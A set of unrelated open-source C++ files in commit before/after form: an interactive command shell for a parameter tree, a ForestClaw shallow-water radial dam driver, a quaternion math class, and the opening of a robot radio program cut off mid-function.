tcsetattr(fileno(stdin),TCSANOW,&termsave);\n std::cout << std::endl << std::flush;\n\n }\n\n std::string Shell::getLine()\n {\n\n char c;\n std::string line(\"\");\n bool done=false;\n bool esc_mode=false;\n std::deque<std::string>::iterator hist_it=shell_history.end();\n int cursorpos=0;\n std::string lastcmd(\"\");\n\n while(!done)\n {\n if ((c = getchar())>0)\n {\n switch(c)\n {\n case 0x0a: \/\/enter\n\n putchar(c);\n done=true;\n\n lastcmd=\"\";\n if(shell_history.size()>0)\n lastcmd=shell_history.back();\n\n if(line.compare(\"\")!=0 && line.compare(lastcmd)!=0) \/\/store in history if non null and different than the last cmd\n {\n shell_history.push_back(line);\n if(shell_history.size()>MAX_HISTORY)\n shell_history.pop_front();\n hist_it=shell_history.begin();\n }\n return line;\n break;\/\/useless\n\n case 0x01: \/\/Ctrl-a goto begin of line\n Terminal::clearLine();\n displayPrompt();\n std::cout<<line;\n cursorpos=0;\n if(line.size()>0)\n Terminal::cursorNLeft(line.size());\n\n break;\n\n case 0x05: \/\/Ctrl-e goto end of line\n Terminal::clearLine();\n displayPrompt();\n std::cout<<line;\n\n if(cursorpos<line.size() )\n {\n \/\/ Terminal::cursorNLeft(cursorpos);\n \/\/ Terminal::cursorNRight(line.size());\n cursorpos=line.size();\n }\n\n break;\n\n case 0xc: \/\/Ctrl-l clear screen\n Terminal::clearScreen();\n Terminal::clearLine();\n Terminal::initCursor();\n displayPrompt();\n line=\"\";\n cursorpos=0;\n break;\n\n case 0x1b: \/\/begin break mode (arrows)\n esc_mode=true;\n\n break;\n\n case 0x5b: \/\/just after 0x1b\n\n break;\n\n\n case 0x7f: \/\/backspace\n if(line.size()>0)\n {\n line.pop_back();\n Terminal::clearLine();\n displayPrompt();\n cursorpos--;\n std::cout<<line;\n }\n break;\n\n\n case 0x09: \/\/TAB\n break;\n\n\n \/\/ if not esc_mode -> fall to default\n case 0x41: \/\/up\n if(esc_mode && c==0x41)\n {\n\n if(shell_history.size()>0 && hist_it!= shell_history.begin())\n {\n line=*--hist_it;\n cursorpos=line.size();\n Terminal::clearLine();\n displayPrompt();\n std::cout<<line;\n }\n esc_mode=false;\n break;\n }\n\n\n case 0x42: \/\/down\n if(esc_mode && c==0x42)\n {\n if(shell_history.size()>0 && hist_it!= shell_history.end())\n {\n line=*hist_it++;\n cursorpos=line.size();\n Terminal::clearLine();\n displayPrompt();\n std::cout<<line;\n }\n else if( hist_it== shell_history.end())\n {\n Terminal::clearLine();\n displayPrompt();\n line=\"\";\n cursorpos=0;\n }\n\n esc_mode=false;\n break;\n }\n \/\/ break;\n\n case 0x43: \/\/right\n if(esc_mode && c==0x43)\n {\n\n if(cursorpos<line.size())\n {\n Terminal::cursorRight();\n cursorpos++;\n }\n esc_mode=false;\n break;\n }\n \/\/ break;\n\n case 0x44: \/\/left\n if(esc_mode && c==0x44)\n {\n\n if(cursorpos>0)\n {\n Terminal::cursorLeft();\n cursorpos--;\n }\n esc_mode=false;\n break;\n }\n \/\/ break;\n\n\n default:\n\n if(line.size()>0)\n {\n std::string tmp(\"\");\n tmp+=c;\n line.insert(cursorpos,tmp);\n }\n else{\n line+=c;\n }\n cursorpos++;\n Terminal::clearLine();\n displayPrompt();\n\n std::cout<<line;\n\n if(line.size()-cursorpos>0)\n Terminal::cursorNLeft(line.size()-cursorpos);\n\n\n break;\n }\n }\n }\n line=\"\";\n return line;\n }\n\n void Shell::parse(std::string line)\n {\n \/\/ Try to interpret command as a set\n for (int i=0; i<line.size(); i++) {\n if (line[i] == '=') {\n std::string lvalue = line.substr(0, i);\n std::string rvalue = line.substr(i+1);\n trim(lvalue);\n trim(rvalue);\n set(lvalue, rvalue);\n return;\n }\n }\n\n \/\/ Try to split line into parts and execute it\n std::list<std::string> parts;\n std::string part;\n\n for (int i=0; i<line.size(); i++) {\n if (std::isspace(line[i])) {\n if (part != \"\") {\n parts.push_back(part);\n part = \"\";\n }\n } else {\n part += line[i];\n }\n }\n if (part != \"\") {\n parts.push_back(part);\n }\n\n if (parts.size()) {\n auto command = parts.front();\n parts.pop_front();\n process(command, parts);\n }\n }\n\n void Shell::process(std::string command, std::list<std::string> args)\n {\n \/\/ First, try to quit\/exit\n if (command == \"quit\" || command == \"exit\") {\n terminate = true;\n } else {\n \/\/ Checking for the command in the list\n if (commands.count(command)) {\n std::vector<std::string> argsV;\n for (auto part : args) {\n argsV.push_back(part);\n }\n commands[command]->process(argsV);\n } else {\n auto nodeValue = getNodeValue(command);\n auto value = nodeValue.value;\n\n if (value) {\n Node::get(this, nodeValue);\n std::cout << command << \"=\" << Node::toString(value) << std::endl;\n } else {\n Terminal::setColor(\"red\", true);\n std::cout << \"Unknown command: \" << command << std::endl;\n Terminal::clear();\n }\n }\n }\n }\n\n void Shell::set(std::string lvalue, std::string rvalue)\n {\n auto node = getCurrentNode();\n auto nodeValue = getNodeValue(lvalue);\n auto value = nodeValue.value;\n\n if (value) {\n Node::setFromString(this, nodeValue, rvalue);\n } else {\n Terminal::setColor(\"red\", true);\n std::cout << \"Unknown parameter: \" << lvalue << std::endl;\n Terminal::clear();\n }\n }\n\n void Shell::registerCommand(Command *command)\n {\n command->setShell(this);\n commands[command->getName()] = command;\n }\n\n std::map<std::string, Command*> Shell::getCommands()\n {\n return commands;\n }\n\n ClientReq *Shell::getClient()\n {\n return client;\n }\n\n ClientSub *Shell::getClientSub()\n {\n return clientSub;\n }\n\n void Shell::enterPath(std::string path_)\n {\n path.push_back(path_);\n }\n\n void Shell::upPath()\n {\n if (path.size()) {\n path.pop_back();\n }\n }\n\n bool Shell::goToPath(std::string spath)\n {\n if (auto node = getNode(spath)) {\n auto parts = pathToParts(node->getPath());\n\n path.clear();\n for (auto part : parts) {\n path.push_back(part);\n }\n return true;\n } else {\n return false;\n }\n }\n\n std::string Shell::getPath()\n {\n std::string p = \"\";\n\n for (auto part : path) {\n if (p != \"\") {\n p += \"\/\";\n }\n p += part;\n }\n\n return p;\n }\n\n std::vector<std::string> Shell::pathToParts(std::string spath)\n {\n auto parts = split(spath, '\/');\n std::vector<std::string> path;\n\n for (auto part : parts) {\n if (part != \"\") {\n path.push_back(part);\n }\n }\n\n return path;\n }\n\n Node *Shell::getNode(std::string spath)\n {\n if (spath.size()==0 || spath[0]!='\/') {\n auto myPath = getPath();\n if (myPath != \"\") {\n myPath += \"\/\";\n }\n spath = myPath + spath;\n }\n\n auto path = pathToParts(spath);\n\n Node *node = tree;\n for (auto part : path) {\n node = node->getChild(part);\n if (node == NULL) {\n return NULL;\n }\n }\n return node;\n }\n\n NodeValue Shell::getNodeValue(std::string path)\n {\n auto parts = pathToParts(path);\n\n if (parts.size() == 0) {\n return NodeValue(NULL, NULL);\n }\n\n \/\/ Child name\n auto name = parts[parts.size()-1];\n parts.pop_back();\n\n \/\/ Creating value path\n std::string prefix = \"\";\n for (auto part : parts) {\n if (prefix != \"\") prefix += \"\/\";\n prefix += part;\n }\n if (path[0] == '\/') {\n prefix = \"\/\" + prefix;\n }\n\n \/\/ Getting node\n auto node = getNode(prefix);\n if (node == NULL) {\n return NodeValue(NULL, NULL);\n }\n\n return node->getNodeValue(name);\n }\n\n Stream *Shell::getStream()\n {\n return stream;\n }\n\n ValueBase *Shell::getValue(std::string path)\n {\n return getNodeValue(path).value;\n }\n\n Node *Shell::getCurrentNode()\n {\n return getNode();\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\nCopyright (c) 2012 Carsten Burstedde, Donna Calhoun\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this\nlist of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice,\nthis list of conditions and the following disclaimer in the documentation\nand\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include \"radialdam_user.h\"\n#include <fclaw2d_clawpatch.h>\n#include <fc2d_clawpack46.h>\n\nstatic void *\noptions_register_user (fclaw_app_t * app, void *package, sc_options_t * opt)\n{\n user_options_t* user = (user_options_t*) package;\n\n \/* [user] User options *\/\n sc_options_add_int (opt, 0, \"example\", &user->example, 0, \"[user] 0 - nomap; 1 - disk [0]\");\n\n sc_options_add_double (opt, 0, \"g\", &user->g, 1.0, \"[user] g [1.0]\");\n sc_options_add_double (opt, 0, \"x0\", &user->x0, 0.0, \"[user] x0 [0.0]\");\n sc_options_add_double (opt, 0, \"y0\", &user->y0, 0.0, \"[user] y0 [0.0]\");\n sc_options_add_double (opt, 0, \"r0\", &user->r0, 0.5, \"[user] r0 [0.5]\");\n sc_options_add_double (opt, 0, \"hin\", &user->hin, 2.0, \"[user] hin [2.0]\");\n sc_options_add_double (opt, 0, \"hout\", &user->hout, 1.0, \"[user] hout [1.0]\");\n\n sc_options_add_double (opt, 0, \"alpha\", &user->alpha, 0.4, \"[user] alpha (for 5-patch map) [0.4]\");\n\n sc_options_add_int (opt, 0, \"claw-version\", &user->claw_version, 5,\n \"Clawpack_version (4 or 5) [5]\");\n\n user->is_registered = 1;\n return NULL;\n}\n\nstatic fclaw_exit_type_t\noptions_check_user (fclaw_app_t * app, void *package, void *registered)\n{\n user_options_t* user = (user_options_t*) package;\n\n if (user->example < 0 || user->example > 1) {\n fclaw_global_essentialf (\"Option --user:example must be 0 or 1\\n\");\n return FCLAW_EXIT_QUIET;\n }\n if (user->example == 1 && user->claw_version == 4)\n {\n fclaw_global_essentialf(\"Example 1 (disk) can only be run with claw-version=5\\n\");\n return FCLAW_EXIT_QUIET;\n }\n return FCLAW_NOEXIT;\n}\n\n\nstatic const fclaw_app_options_vtable_t options_vtable_user =\n{\n options_register_user,\n NULL,\n options_check_user,\n NULL\n};\n\nstatic\nvoid register_user_options (fclaw_app_t * app,\n const char *configfile,\n user_options_t* user)\n{\n FCLAW_ASSERT (app != NULL);\n\n fclaw_app_options_register (app,\"user\", configfile, &options_vtable_user,\n user);\n}\n\nuser_options_t* radialdam_user_get_options(fclaw2d_domain_t* domain)\n{\n fclaw_app_t* app;\n app = fclaw2d_domain_get_app(domain);\n\n const user_options_t* user = (user_options_t*) fclaw_app_get_user(app);\n\n return (user_options_t*) user;\n}\n\n\nstatic\nvoid run_program(fclaw_app_t* app)\n{\n sc_MPI_Comm mpicomm;\n\n \/* Mapped, multi-block domain *\/\n p4est_connectivity_t *conn = NULL;\n fclaw2d_domain_t\t *domain;\n fclaw2d_map_context_t *cont = NULL;\n\n amr_options_t *gparms;\n user_options_t *user;\n\n mpicomm = fclaw_app_get_mpi_size_rank (app, NULL, NULL);\n\n gparms = fclaw_forestclaw_get_options(app);\n user = (user_options_t*) fclaw_app_get_user(app);\n\n double rotate[2];\n\n rotate[0] = 0;\n rotate[1] = 0;\n\n switch (user->example)\n {\n case 0:\n \/* Use [ax,bx]x[ay,by] *\/\n conn = p4est_connectivity_new_unitsquare();\n cont = fclaw2d_map_new_nomap();\n break;\n case 1:\n conn = p4est_connectivity_new_disk();\n cont = fclaw2d_map_new_pillowdisk5 (gparms->scale,gparms->shift,\n rotate,user->alpha);\n break;\n default:\n SC_ABORT_NOT_REACHED ();\n }\n\n domain = fclaw2d_domain_new_conn_map (mpicomm, gparms->minlevel, conn, cont);\n\n \/* ---------------------------------------------------------- *\/\n fclaw2d_domain_list_levels(domain, FCLAW_VERBOSITY_INFO);\n fclaw2d_domain_list_neighbors(domain, FCLAW_VERBOSITY_DEBUG);\n\n fclaw2d_domain_data_new(domain);\n fclaw2d_domain_set_app(domain,app);\n\n radialdam_link_solvers(domain);\n\n fclaw2d_initialize(&domain);\n fclaw2d_run(&domain);\n fclaw2d_finalize(&domain);\n\n fclaw2d_map_destroy(cont);\n}\n\nint\nmain (int argc, char **argv)\n{\n fclaw_app_t *app;\n int first_arg;\n fclaw_exit_type_t vexit;\n\n \/* Options *\/\n sc_options_t *options;\n user_options_t suser, *user = &suser;\n\n int retval;\n\n \/* Initialize application *\/\n app = fclaw_app_new (&argc, &argv, user);\n\n \/* Register packages *\/\n fclaw_forestclaw_register(app,\"fclaw_options.ini\");\n fc2d_clawpack46_register(app,\"fclaw_options.ini\");\n fc2d_clawpack5_register(app,\"fclaw_options.ini\");\n\n register_user_options(app,\"fclaw_options.ini\",user);\n\n \/* Read configuration file(s) *\/\n options = fclaw_app_get_options (app);\n retval = fclaw_options_read_from_file(options);\n vexit = fclaw_app_options_parse (app, &first_arg,\"fclaw_options.ini.used\");\n\n fclaw2d_clawpatch_link_app(app);\n\n if (!retval & !vexit)\n {\n run_program(app);\n }\n\n fclaw_forestclaw_destroy(app);\n fclaw_app_destroy (app);\n\n return 0;\n}\n<commit_msg>(amrclaw\/2d\/shallow\/radialdam) Minor updates<commit_after>\/*\nCopyright (c) 2012 Carsten Burstedde, Donna Calhoun\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this\nlist of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice,\nthis list of conditions and the following disclaimer in the documentation\nand\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include \"radialdam_user.h\"\n\nstatic void *\noptions_register_user (fclaw_app_t * app, void *package, sc_options_t * opt)\n{\n user_options_t* user = (user_options_t*) package;\n\n \/* [user] User options *\/\n sc_options_add_int (opt, 0, \"example\", &user->example, 0, \"[user] 0 - nomap; 1 - disk [0]\");\n\n sc_options_add_double (opt, 0, \"g\", &user->g, 1.0, \"[user] g [1.0]\");\n sc_options_add_double (opt, 0, \"x0\", &user->x0, 0.0, \"[user] x0 [0.0]\");\n sc_options_add_double (opt, 0, \"y0\", &user->y0, 0.0, \"[user] y0 [0.0]\");\n sc_options_add_double (opt, 0, \"r0\", &user->r0, 0.5, \"[user] r0 [0.5]\");\n sc_options_add_double (opt, 0, \"hin\", &user->hin, 2.0, \"[user] hin [2.0]\");\n sc_options_add_double (opt, 0, \"hout\", &user->hout, 1.0, \"[user] hout [1.0]\");\n\n sc_options_add_double (opt, 0, \"alpha\", &user->alpha, 0.4, \"[user] alpha (for 5-patch map) [0.4]\");\n\n sc_options_add_int (opt, 0, \"claw-version\", &user->claw_version, 5,\n \"Clawpack_version (4 or 5) [5]\");\n\n user->is_registered = 1;\n return NULL;\n}\n\nstatic fclaw_exit_type_t\noptions_check_user (fclaw_app_t * app, void *package, void *registered)\n{\n user_options_t* user = (user_options_t*) package;\n\n if (user->example < 0 || user->example > 1) {\n fclaw_global_essentialf (\"Option --user:example must be 0 or 1\\n\");\n return FCLAW_EXIT_QUIET;\n }\n if (user->example == 1 && user->claw_version == 4)\n {\n fclaw_global_essentialf(\"Example 1 (disk) can only be run with claw-version=5\\n\");\n return FCLAW_EXIT_QUIET;\n }\n return FCLAW_NOEXIT;\n}\n\n\nstatic const fclaw_app_options_vtable_t options_vtable_user =\n{\n options_register_user,\n NULL,\n options_check_user,\n NULL\n};\n\nstatic\nvoid register_user_options (fclaw_app_t * app,\n const char *configfile,\n user_options_t* user)\n{\n FCLAW_ASSERT (app != NULL);\n\n fclaw_app_options_register (app,\"user\", configfile, &options_vtable_user,\n user);\n}\n\nuser_options_t* radialdam_user_get_options(fclaw2d_domain_t* domain)\n{\n fclaw_app_t* app;\n app = fclaw2d_domain_get_app(domain);\n\n const user_options_t* user = (user_options_t*) fclaw_app_get_user(app);\n\n return (user_options_t*) user;\n}\n\n\nstatic\nvoid run_program(fclaw_app_t* app)\n{\n sc_MPI_Comm mpicomm;\n\n \/* Mapped, multi-block domain *\/\n p4est_connectivity_t *conn = NULL;\n fclaw2d_domain_t\t *domain;\n fclaw2d_map_context_t *cont = NULL;\n\n amr_options_t *gparms;\n user_options_t *user;\n\n mpicomm = fclaw_app_get_mpi_size_rank (app, NULL, NULL);\n\n gparms = fclaw_forestclaw_get_options(app);\n user = (user_options_t*) fclaw_app_get_user(app);\n\n double rotate[2];\n\n rotate[0] = 0;\n rotate[1] = 0;\n\n switch (user->example)\n {\n case 0:\n \/* Use [ax,bx]x[ay,by] *\/\n conn = p4est_connectivity_new_unitsquare();\n cont = fclaw2d_map_new_nomap();\n break;\n case 1:\n conn = p4est_connectivity_new_disk();\n cont = fclaw2d_map_new_pillowdisk5 (gparms->scale,gparms->shift,\n rotate,user->alpha);\n break;\n default:\n SC_ABORT_NOT_REACHED ();\n }\n\n domain = fclaw2d_domain_new_conn_map (mpicomm, gparms->minlevel, conn, cont);\n\n \/* ---------------------------------------------------------- *\/\n fclaw2d_domain_list_levels(domain, FCLAW_VERBOSITY_INFO);\n fclaw2d_domain_list_neighbors(domain, FCLAW_VERBOSITY_DEBUG);\n\n fclaw2d_domain_data_new(domain);\n fclaw2d_domain_set_app(domain,app);\n\n radialdam_link_solvers(domain);\n\n fclaw2d_initialize(&domain);\n fclaw2d_run(&domain);\n fclaw2d_finalize(&domain);\n\n fclaw2d_map_destroy(cont);\n}\n\nint\nmain (int argc, char **argv)\n{\n fclaw_app_t *app;\n int first_arg;\n fclaw_exit_type_t vexit;\n\n \/* Options *\/\n sc_options_t *options;\n user_options_t suser, *user = &suser;\n\n int retval;\n\n \/* Initialize application *\/\n app = fclaw_app_new (&argc, &argv, user);\n\n \/* Register packages *\/\n fclaw_forestclaw_register(app,\"fclaw_options.ini\");\n fc2d_clawpack46_register(app,\"fclaw_options.ini\");\n fc2d_clawpack5_register(app,\"fclaw_options.ini\");\n\n register_user_options(app,\"fclaw_options.ini\",user);\n\n \/* Read configuration file(s) *\/\n options = fclaw_app_get_options (app);\n retval = fclaw_options_read_from_file(options);\n vexit = fclaw_app_options_parse (app, &first_arg,\"fclaw_options.ini.used\");\n\n fclaw2d_clawpatch_link_app(app);\n\n if (!retval & !vexit)\n {\n run_program(app);\n }\n\n fclaw_forestclaw_destroy(app);\n fclaw_app_destroy (app);\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*******************************************************************************\nThe MIT License (MIT)\n\nCopyright (c) 2013, 2014 JCube001\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*******************************************************************************\/\n\n#include <math.h>\n\n#include \"quaternion.h\"\n\nQuaternion::Quaternion() :\n scalar(1.0f),\n x(0.0f),\n y(0.0f),\n z(0.0f)\n{\n}\n\nQuaternion::Quaternion(const Quaternion &q) :\n scalar(q.scalar),\n x(q.x),\n y(q.y),\n z(q.z)\n{\n}\n\nQuaternion::Quaternion(float scalar, float x, float y, float z) :\n scalar(scalar),\n x(x),\n y(y),\n z(z)\n{\n}\n\nQuaternion Quaternion::conjugate() const\n{\n return Quaternion(scalar, -x, -y, -z);\n}\n\nvoid Quaternion::convertToAxisAngle(float &ax, float &ay, float &az, float &angle)\n{\n ax = x;\n ay = y;\n az = z;\n angle = 2.0f * acos(scalar);\n}\n\nvoid Quaternion::convertToEulerAngles(float &roll, float &pitch, float &yaw)\n{\n roll = atan2(2.0f * ((scalar * x) + (y * z)), 1.0f - (2.0f * ((x * x) + (y * y))));\n pitch = asin(2.0f * ((scalar * y) - (z * x)));\n yaw = atan2(2.0f * ((scalar * z) + (x * y)), 1.0f - (2.0f * ((y * y) + (z * z))));\n}\n\nfloat Quaternion::dot(const Quaternion &q) const\n{\n return (scalar * q.scalar) + (x * q.x) + (y * q.y) + (z * q.z);\n}\n\nQuaternion Quaternion::inverse() const\n{\n const float n = norm();\n if (n == 0.0f)\n {\n return Quaternion();\n }\n return conjugate() \/ (n * n);\n}\n\nfloat Quaternion::norm() const\n{\n return sqrt((scalar * scalar) + (x * x) + (y * y) + (z * z));\n}\n\nvoid Quaternion::normalize()\n{\n *this \/= norm();\n}\n\nQuaternion Quaternion::normalized() const\n{\n return *this \/ norm();\n}\n\nQuaternion &Quaternion::operator=(const Quaternion &q)\n{\n scalar = q.scalar;\n x = q.x;\n y = q.y;\n z = q.z;\n return *this;\n}\n\nQuaternion &Quaternion::operator+=(const Quaternion &q)\n{\n scalar += q.scalar;\n x += q.x;\n y += q.y;\n z += q.z;\n return *this;\n}\n\nQuaternion &Quaternion::operator-=(const Quaternion &q)\n{\n scalar -= q.scalar;\n x -= q.x;\n y -= q.y;\n z -= q.z;\n return *this;\n}\n\nQuaternion &Quaternion::operator*=(float factor)\n{\n scalar *= factor;\n x *= factor;\n y *= factor;\n z *= factor;\n return *this;\n}\n\nQuaternion &Quaternion::operator*=(const Quaternion &q)\n{\n scalar = (scalar * q.scalar) - (x * q.x) - (y * q.y) - (z * q.z);\n x = (scalar * q.x) + (x * q.scalar) + (y * q.z) - (z * q.y);\n y = (scalar * q.y) - (x * q.z) + (y * q.scalar) + (z * q.x);\n z = (scalar * q.z) + (x * q.y) - (y * q.x) + (z * q.scalar);\n}\n\nQuaternion &Quaternion::operator\/=(float divisor)\n{\n scalar \/= divisor;\n x \/= divisor;\n y \/= divisor;\n z \/= divisor;\n return *this;\n}\n\n<commit_msg>Added functions for conversions<commit_after>\/*******************************************************************************\nThe MIT License (MIT)\n\nCopyright (c) 2013, 2014 JCube001\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*******************************************************************************\/\n\n#include <math.h>\n\n#include \"quaternion.h\"\n\nQuaternion::Quaternion() :\n scalar(1.0f),\n x(0.0f),\n y(0.0f),\n z(0.0f)\n{\n}\n\nQuaternion::Quaternion(const Quaternion &q) :\n scalar(q.scalar),\n x(q.x),\n y(q.y),\n z(q.z)\n{\n}\n\nQuaternion::Quaternion(float scalar, float x, float y, float z) :\n scalar(scalar),\n x(x),\n y(y),\n z(z)\n{\n}\n\nQuaternion Quaternion::conjugate() const\n{\n return Quaternion(scalar, -x, -y, -z);\n}\n\nvoid Quaternion::convertToAxisAngle(float &ax, float &ay, float &az, float &angle)\n{\n ax = x;\n ay = y;\n az = z;\n angle = 2.0f * acos(scalar);\n}\n\nvoid Quaternion::convertToEulerAngles(float &roll, float &pitch, float &yaw)\n{\n roll = atan2((y * z) + (scalar * x), 0.5f - ((x * x) + (y * y)));\n pitch = asin(-2.0f * ((x * z) + (scalar * y)));\n yaw = atan2((x * y) + (scalar * z), 0.5f - ((y * y) + (z * z)));\n}\n\nfloat Quaternion::dot(const Quaternion &q) const\n{\n return (scalar * q.scalar) + (x * q.x) + (y * q.y) + (z * q.z);\n}\n\nQuaternion Quaternion::inverse() const\n{\n const float n = norm();\n if (n == 0.0f)\n {\n return Quaternion();\n }\n return conjugate() \/ (n * n);\n}\n\nfloat Quaternion::norm() const\n{\n return sqrt((scalar * scalar) + (x * x) + (y * y) + (z * z));\n}\n\nvoid Quaternion::normalize()\n{\n *this \/= norm();\n}\n\nQuaternion Quaternion::normalized() const\n{\n return *this \/ norm();\n}\n\nQuaternion &Quaternion::operator=(const Quaternion &q)\n{\n scalar = q.scalar;\n x = q.x;\n y = q.y;\n z = q.z;\n return *this;\n}\n\nQuaternion &Quaternion::operator+=(const Quaternion &q)\n{\n scalar += q.scalar;\n x += q.x;\n y += q.y;\n z += q.z;\n return *this;\n}\n\nQuaternion &Quaternion::operator-=(const Quaternion &q)\n{\n scalar -= q.scalar;\n x -= q.x;\n y -= q.y;\n z -= q.z;\n return *this;\n}\n\nQuaternion &Quaternion::operator*=(float factor)\n{\n scalar *= factor;\n x *= factor;\n y *= factor;\n z *= factor;\n return *this;\n}\n\nQuaternion &Quaternion::operator*=(const Quaternion &q)\n{\n scalar = (scalar * q.scalar) - (x * q.x) - (y * q.y) - (z * q.z);\n x = (scalar * q.x) + (x * q.scalar) + (y * q.z) - (z * q.y);\n y = (scalar * q.y) - (x * q.z) + (y * q.scalar) + (z * q.x);\n z = (scalar * q.z) + (x * q.y) - (y * q.x) + (z * q.scalar);\n}\n\nQuaternion &Quaternion::operator\/=(float divisor)\n{\n scalar \/= divisor;\n x \/= divisor;\n y \/= divisor;\n z \/= divisor;\n return *this;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ kate: indent-mode cstyle; indent-width 4; tab-width 4; space-indent false;\n\/\/ vim:ai ts=4 et\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <pthread.h>\n#include <assert.h>\n\n#include <map>\n\n#include <Network\/Network.hpp>\n#include <Network\/PacketReceiver.hpp>\n#include <Network\/Sender.hpp>\n#include <RadioTx.hpp>\n#include <RadioRx.hpp>\n#include <Utils.hpp>\n\n#include \"Radio.hpp\"\n\nusing namespace std;\n\nTeam team = UnknownTeam;\n\nbool useOpp;\n\nPacket::RadioTx txPacket;\nPacket::RadioTx oppTxPacket;\n\nvoid usage(const char* prog)\n{\n\tfprintf(stderr, \"usage: %s [-n i] [-2010] <-y|-b>\\n\", prog);\n\tfprintf(stderr, \"\\t-y: run as the yellow team\\n\");\n\tfprintf(stderr, \"\\t-b: run as the blue team\\n\");\n\tfprintf(stderr, \"\\t-n: use base station i (0 is the first base station detected by libusb)\\n\");\n\tfprintf(stderr, \"\\t-o: run an opponent team as well (note: radio only handles up to 5 robots)\\n\");\n\tfprintf(stderr, \"\\t--debug_tx: print transmitted packets\\n\");\n\tfprintf(stderr, \"\\t--debug_rx: print received packets\\n\");\n\texit(1);\n}\n\nvoid packetHandler(const Packet::RadioTx* packet)\n{\n\ttxPacket = *packet;\n}\n\nvoid oppPacketHandler(const Packet::RadioTx* packet)\n{\n\toppTxPacket = *packet;\n}\n\nint main(int argc, char* argv[])\n{\n\tbool debug_tx = false;\n\tbool debug_rx = false;\n\t\n\tint n = 0;\n\tfor (int i = 0; i < argc; ++i)\n\t{\n\t\tconst char* var = argv[i];\n\n\t\tif (strcmp(var, \"-y\") == 0)\n\t\t{\n\t\t\tteam = Yellow;\n\t\t}\n\t\telse if (strcmp(var, \"-b\") == 0)\n\t\t{\n\t\t\tteam = 